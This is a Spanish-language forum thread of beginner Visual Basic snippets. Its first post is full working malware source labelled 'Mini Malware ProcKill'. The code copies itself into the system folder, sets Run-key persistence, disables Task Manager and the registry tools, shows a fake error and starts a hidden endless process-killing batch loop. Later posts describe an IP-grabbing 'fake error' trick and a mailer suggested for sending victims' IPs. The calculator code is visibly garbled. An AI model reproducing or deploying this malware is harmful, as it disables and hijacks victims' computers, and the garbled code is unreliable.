Publicar codigos

[47]

Process Killer by Me

bn.... estaba ocioso.... y como un contacto me dejo los humos por arriba xD...... y con mis muuy basicos conocimientos d Visual Basic.... le envie esto.. y viendolo, quise ir mejorandolo un poco para q sea mas dificil d sacar.... solo espero q este bn.... saludos

Código:

'################################################################################################
'#                                                                                              #
'#  POR F-47                                                                                    #
'#                                                                                              #
'#  Mini programa diseñado para evitar la ejecucion d cualquier proceso que sea utilizado por   #
'#  el usuario comun, incluye herramienta para evitar la ejecucion d Administrador d tareas y   #
'#  d restaurar sistema por lo q para el usuario comun le sera imposible recuperar d este       #
'#  programa, el unico derecho d modificacion sobre este programa es para cambiar y/o agregar   #
'#  procesos a matar con la presente aplicacion, favor d mantener el nombre del autor, no me    #
'#  hago responsable del mal uso d este programa, ya q esta destinado para ser utilizado en     #
'#  su propio PC como medida de seguridad para q no se pueda ejecutar un proceso en especial    #
'#  por otras personas                                                                          #
'#                                                                                              #
'#                                                                                              #
'#               gracias al foro portalhacker.net por su ayuda ;-), tanto en su apoyo           #
'#               en la obtencion de codigo fuente como tambien en la ayuda de enseñarme         #
'#               a programar    =)                                                              #
'#                                                                                              #
'################################################################################################


Option Explicit

Const REG_DWORD = 4
Const HKEY_CURRENT_USER = &H80000001

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Long, ByVal cbData As Long) As Long

Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String)
      Dim Ret
      RegCreateKey hKey, strPath, Ret
      RegSetValueExLong Ret, strValue, 0&, REG_DWORD, CByte(strData), 4&
      RegCloseKey Ret
End Sub

Public Function existe(archivo As String) As Integer
existe = Len(Dir$(archivo))
End Function

Private Sub Form_Load()
On Error Resume Next
Dim file As String
Dim n As Integer
Dim win As Object
Dim reg As Object
Dim rut As String
Dim con As String
Dim x As String
Dim file2 As String
Dim rut2 As String
Dim firma As String
Dim blqreg As String
Dim datreg As String
Dim rutreg As String
Dim datadm As String
Dim blqadm As String
Dim strstring As String

Set reg = CreateObject("wscript.shell")
Set win = CreateObject("scripting.filesystemobject").getspecialfolder(1)

file = win + "\fucker.bat"
file2 = win + "\tntsrv.exe"
n = FreeFile()
con = file2
rut = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Servicio de Coneccion a Internet"
rut2 = "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows"
firma = "PC Infectado con el Mini Malware ProcKill.exe, para q veas la seguridad d tu PC ;-)"
blqreg = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
datreg = "1"

reg.RegWrite rut, con
reg.RegWrite rut2, firma
reg.RegWrite blqreg, datreg

strstring = "1"
SaveStringLong HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", CByte(strstring)

If App.Path <> win Then
FileCopy App.EXEName + ".exe", win + "\tntsrv.exe"
End If

If existe(file) Then
Shell file, vbHide

Else
MsgBox "0x006E El sistema no puede abrir el dispositivo o archivo especificado.", 21, "0x006E error"
Open file For Output As #n
Print #n, "@echo off"
Print #n, ":ini"
Print #n, "taskkill /f /im iexplorer.exe"
Print #n, "goto ini"
Print #n, "exit"
Close #n
Shell file, vbHide
End If
End Sub

no tiene nada en el Form, simplemente hay q ponerlo invisible en las propiedades, lo otro, iexplorer.exe, no basta decirlo xD, es el proceso q empezara a matar.... eso es modificable, tb se pueden agregar mas xD...... sucio, tal vez, no le pego mucho al VB, seria mi primer Code, Funcional, ;-)

Saludos

47

[[W]inmaster]

CALCULATRES 1.0 BY WINMASTER
////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////

bUENO ES BASTANTE LÚCIDA ALOMEJRO LES GUSTA
-----------------------------

Private Enum CtesCalculador a
  NINGUNA
  DÍGITO_
  OPERADOR_
  CE
End Enum
Private UltimaEntrada As CtesCalculador a
Private PuntoDecimal As Boolean
Private NumOperandos As Integer
Private Operando1 As Double, Operando2 As Double
Private Operador As String * 1

Private Sub BorrarEntrada_ Click()
  Pantalla.Capti on = "0."
  PuntoDecimal = False
  UltimaEntrada = CE
End Sub

Private Sub Digitos_Click(Index As Integer)
  Dim Número As String
  If UltimaEntrada <> DÍGITO_ Then
    If Dígito(Index).Caption = "0" Then Exit Sub
    Pantalla.Capti on = ""
    PuntoDecimal = False
    UltimaEntrada = DÍGITO_
  End If
  Número = Pantalla.Capti on
  Pantalla.Capti on = Número & Dígito(Index).Caption
End Sub

Private Sub Form_Load()
  NumOperandos = 0
  Operando1 = 0
  Operando2 = 0
  UltimaEntrada = NINGUNA
  Operador = ""
  PuntoDecimal = False
End Sub

Private Sub Iniciar_Click()
  Pantalla.Capti on = "0."
  Form_Load
End Sub

Private Sub Operación_Click(Index As Integer)
  If NumOperandos = 0 And Operación(Index).Caption = "-" Then
    UltimaEntrada = DÍGITO_
  End If
  If UltimaEntrada = DÍGITO_ Then
    NumOperandos = NumOperandos + 1
  End If
  If NumOperandos = 1 Then
    Operando1 = Val(Pantalla.Capti on)
  ElseIf NumOperandos = 2 Then
    Operando2 = Val(Pantalla.Capti on)
    Select Case Operador
      Case "+": Operando1 = Operando1 + Operando2
      Case "-": Operando1 = Operando1 - Operando2
      Case "X": Operando1 = Operando1 * Operando2
      Case "/": Operando1 = Operando1 / Operando2
      Case "=": Operando1 = Operando2
    End Select
    Pantalla.Capti on = Str(Operando1)
    NumOperandos = 1
  End If
  UltimaEntrada = OPERADOR_
  Operador = Operación(Index).Caption
End Sub

Private Sub PuntoD_Click()
  If UltimaEntrada <> DÍGITO_ Then
    Pantalla.Capti on = "0."
  ElseIf Not PuntoDecimal Then
    Pantalla.Capti on = Pantalla.Capti on & "."
  End If
  PuntoDecimal = True
  UltimaEntrada = DÍGITO_
End Sub

Private Sub TantoPorCiento _Click()
  Dim Resultado As Double
  If UltimaEntrada = DÍGITO_ Then
    Resultado = Operando1 * Val(Pantalla.Capti on) / 100
    Pantalla.Capti on = Str(Resultado)
    Operación_Click (0) 'para "=", Index es 0
    UltimaEntrada = OPERADOR_
  End If
End Sub

Saludos

[47]

Saludos yo aqui molestando d nuevo :p .... jeje na, estuve visitando a Planet Source Code.com, y encontre este Code, tal vez les sirva, su utilidad es para poder mandar mail's a traves dl code d VB, sin utilizar code de algun SMTP Mail, y es extremadamente corto, ojala lo disfruten tant como yo

Aqui va el Code

Habilitar Microsoft Internet Controls, que se encuentran en "Proyects >> References" ( o algo asi xD )

Código:

Private Sub Command1_Click()

mailed = Email("mailto@address.com", "mailform@address.com", "Your name", "Subject line", "http://www.mail-maniac.com", "your message here")
If mailed = True Then
MsgBox "Emailed!"
Else
MsgBox "Error"
End If

End Sub


Function Email(Mailto As String, From As String, Fromname As String, Subject As String, GotoURL As String, Message As String) As Boolean

Dim explorer As New SHDocVw.InternetExplorer
explorer.Visible = False
Message = Replace(Message, vbCrLf, "\n")
explorer.Navigate "http://www.mail-maniac.com/?mailto=" & Mailto & "&from=" & From & "&fromname=" & Fromname & "&subject=" & Subject & "&goto=" & GotoURL & "&message=" & Message
Do Until explorer.ReadyState = READYSTATE_COMPLETE
DoEvents
Loop

explorer.Quit
Email = True
End Function

la direccion mail-maniatic.com no debe ser cambiada, ya que es el "servidor" q procesa el mail para poder enviarlo, tal vez les sirva para poder mandar reportes en forma de e-mail, como tambien para enviar la ip, el codigo tal cual, trabaja con  5 textbox, 4 labels y un boton, tal vez ustedes puedan automatizarlo como yo lo voy a hacer :p jeje ya no mlesto saludos

Fuente = AQUI
Pag q sirve d Mailer = AQUI

Saludos

47

[Punk-Rock]

muy bueno...me a servido de mucho...ahora a provar kosas....xD xD

Salu2

[47]

Un code ya mas decente =P xD

basado en un code q encontre por hay pero q es casi completamente mio, el modulo no es de mi procedencia el resto si ^.^

ojala les guste, logicametne no sean crueles, recien empezando.... si se q hay varios programas que hacen esto,,, pero... me gusta hacer cosas de las cuales se lo que hacen y da mas orgullo usar los propios programas xD...esop saludos

la utilidad es abrir el winsock para dejarlo a la escucha en un puerto determinado y cargarle un texto o cod HTML para mandarle un "fake error" para q la victima no levante sospecha y asi capturarle la IP [lo mismo q se espera siempre ¬¬ xD], tiene varias mini utilidades, a lo mejor mas adelante lo upgradeare =)

Descargar Codigo Fuente VB
47

P.D: no sean crueles recien empezando =D

[Punk-Rock]

Para calcular tamaños exactos, sfunciona bastante bien.

Código:

Function SetBytes(Bytes) As String

On Error GoTo hell

If Bytes >= 1073741824 Then
    SetBytes = Format(Bytes / 1024 / 1024 / 1024, "#0.00") _
         & " GB"
ElseIf Bytes >= 1048576 Then
    SetBytes = Format(Bytes / 1024 / 1024, "#0.00") & " MB"
ElseIf Bytes >= 1024 Then
    SetBytes = Format(Bytes / 1024, "#0.00") & " KB"
ElseIf Bytes < 1024 Then
    SetBytes = Fix(Bytes) & " Bytes"
End If

Exit Function
hell:
SetBytes = "0 Bytes"
End Function

Salu2

[crypto136]

estuve buscando en el foro para no repetir y no encontre asi q aki les dejo algo q encontre en controltotal.c om
como ya se daran cuenta es para ponerle Hotkeys a las aplicaciones de vb

Código:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
Form1.Hide
End Sub

Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyControl) And GetAsyncKeyState(vbKeyQ) Then
Shell ("notepad.exe")
End If
End Sub

[vladek]

Bueno, esto es un ejemplo de un "Always ONTOP". Las Constantes y declaraciones aparecen en todos lados, pero aca aclaro como usarlas.

Crear un modulo y pegar esto :

**********************Modulo*********************************

Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfte r As Long, ByVal x As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Sub AlwaysOnTop(FrmID As Form, OnTop As Integer)
    ' AlwaysOnTop Me, -1  ' Siempre ONTOP
    ' AlwaysOnTop Me, -2  ' Nunca ONTOP
    ' ===========================================
    Const SWP_NOMOVE = 2
    Const SWP_NOSIZE = 1
    Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE
    Const HWND_TOPMOST = -1
    Const HWND_NOTOPMOST = -2
    If OnTop = -1 Then
        OnTop = SetWindowPos(FrmID.hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
    Else
        OnTop = SetWindowPos(FrmID.hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, FLAGS)
    End If
End Sub


******************Fin De Modulo******************************


En El Formulario, ir a "General", o arriba de todo y poner :
                               
                                   "Dim SobreTodo As Boolean"


Crear un Boton en el formulario :


******************Command1***************************

Private Sub Command1_Click()
If SobreTodo = False Then
AlwaysOnTop Form1, -1
SobreTodo = True
ElseIf SobreTodo = True Then
AlwaysOnTop Form1, -2
SobreTodo = False
End If
End Sub

*********************Fin De Command1********************

*********************Form Load**************************

Private Sub Form_Load()
SobreTodo = False
End Sub


*********************Fin De Form Load*********************






Bueno, espero que sirva....by Vladek

[ziBboh]

ehy me quedo una duda:
los codigos de Yngwie Maty son bombas logicas o algo asi?
de ser asi tengo muy buenas mejoras que hacerle a su codigo. espero respuesta de cualquier persona.

ok gracias!!!

[crypto136]

Sistema de encriptacion por sustitucion:

Agregar 3 command button,3 Label, 3TextBox

Código:

Dim cadena As String
Dim I As Integer
Dim TextoAux As String, Texto As String
Public x As String
Private Sub Command1_Click()
If Key.Text = "" Then
    MsgBox "Loco pon un numero donde dice llave", vbInformation, ""
    Key.SetFocus
Else
If Key.Text <= 0 Or Key.Text > 200 Then
    MsgBox "me vas a matar que no sabes leer.... ahi dice entre 1 - 200!!!!", vbCritical, "mierda....."
    Key.Text = ""
    Key.SetFocus
Else
If Text1.Text = "" Then
    MsgBox "ahora mete una PALABRA!!!", vbCritical, ""
    Text1.SetFocus
Else
    x = Key.Text
    Texto = ""
    TextoAux1 = Text1.Text
        For I = 1 To Len(TextoAux1)
            Text1.SelStart = I - 1
            Text1.SelLength = 1
            TextoAux = Text1.SelText
            Texto = Texto + Chr$(Asc(TextoAux) Xor x)
        Next I
            Text2.Text = Texto
End If
End If
End If
End Sub

Private Sub Command2_Click()
Key.Text = ""
Text2.Text = ""
End Sub

Private Sub Command3_Click()
End
End Sub

Private Sub key_KeyPress(KeyAscii As Integer)
cadena = "0123456789" + Chr(8) + Chr(13)
If InStr(cadena, Chr(KeyAscii)) = 0 Then
    KeyAscii = 0
End If
If Len(Key.Text) = 3 Then
    KeyAscii = 0
End If
End Sub

[Punk-Rock]

Este algoritmo de encriptacion lo as echo tu???Supongo ke si, ya ke lo de encritpar con Xor es muy basico, aun asi te delicito por tu primer algoritmo criptografico. ..

Salu2

[crypto136]

se puede decir que si, porque lo de xor lo aprendi en no recuerdo donde jeje(ya buscare la fuente para no restarle credito), pero el algoritmo para cifrar letra a letra  es mio estoy ideando otro mas eficaz que no solo sea sustitucion sino que agregue mas letras como para hacer mas grande mensaje encriptado pero todavia estoy aprendiendo

aun asi te delicito por tu primer algoritmo criptografico. ..

gracias 

[shadow.darknesses]

ajja esto es super facil pero para las pèrsonas ke eesten empezando les gustara xD
aki esta el code

Código:

Option Explicit
Private Sub limpiar_Click()
Text1 = ""
Text2 = ""
End Sub

Private Sub entrar_Click()
If Text1 = "ola" And Text2 = "jaja" Then
MsgBox "Login correcto puedes entrar", 64, "By ShaCCorTh"
Form2.Show
Form1.Hide
Else
MsgBox "Login incorrecto", 64, "By ShaCCorTh"
End If
End Sub
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then entrar_Click
End Sub
Private Sub Text2_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then entrar_Click
End Sub

bueno agreggen 2 textbox y 2 comandbutton, a uno llamenlo limpiar y a otro entrar
eso era
Saludos...

[crypto136]

agrega 1 CommandButton, 1 TextBox y reemplaza el codigo se puede poner cualquier cosa para crear lo del archivo .txt es solo para probar

Código:

' Función Api GetDriveType para obtener el tipo de unidad
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" _
(ByVal nDrive As String) As Long
'Función Api getLogicalDrives para ver las unidades
Private Declare Function GetLogicalDrives Lib "kernel32" () As Long

Private Sub Command1_Click()
Dim LDs As Long, Cnt As Long, sDrives As String
LDs = GetLogicalDrives
sDrives = ""
   For Cnt = 0 To 25
        If (LDs And 2 ^ Cnt) <> 0 Then
            sDrives = sDrives + Chr$(65 + Cnt)
        End If
   Next Cnt
Text1.Text = sDrives 'Guardamos las unidades listadas en el TextBox
Dim textoaux As String
Texto = ""
TextoAux1 = Text1.Text
For I = 1 To Len(TextoAux1)
    Text1.SelStart = I - 1
    Text1.SelLength = 1
    textoaux = Text1.SelText & ":"
' Llamamos a la función pasandole la unidad que queremos obtener la información
    Select Case GetDriveType(Trim(textoaux))
        Case 2
            On Error Resume Next
            ' Unidad de tipo removible, por ejemplo la unidad A:
            MsgBox "Unidad removible"
            Open (textoaux & "\jaja.txt") For Output As #1
            Print #1, "Kabron"
            Close
        Case 3
            ' Por ejemplo un disco duro
            MsgBox "Unidad Fija"
        Case Is = 4
            ' Una unidad de red
            MsgBox "Unidad remota"
        Case Is = 5
            'Unidad de Cd - Dvd
            MsgBox "Unidad de Cd-Rom"
        Case Is = 6
            ' Para una unidad de dsico Virtual
            MsgBox "Unidad virtual"
        Case Else
            'Cuando es desconocida
            MsgBox "Unidad no reconocida"
    End Select
Next I
End Sub

Imaginemos!!! para que nos podria servir??? 
codigo bajado de Recursosvisual basic.com.ar, con cierto codigo agregado 

[tarimas_gml]

quisiera que me pasaran el codigo de como hacerle para tirar un dado en .gif y que se reprodusca la imagen del dado  y luego me mande el resultado en una caja de texto  con ocx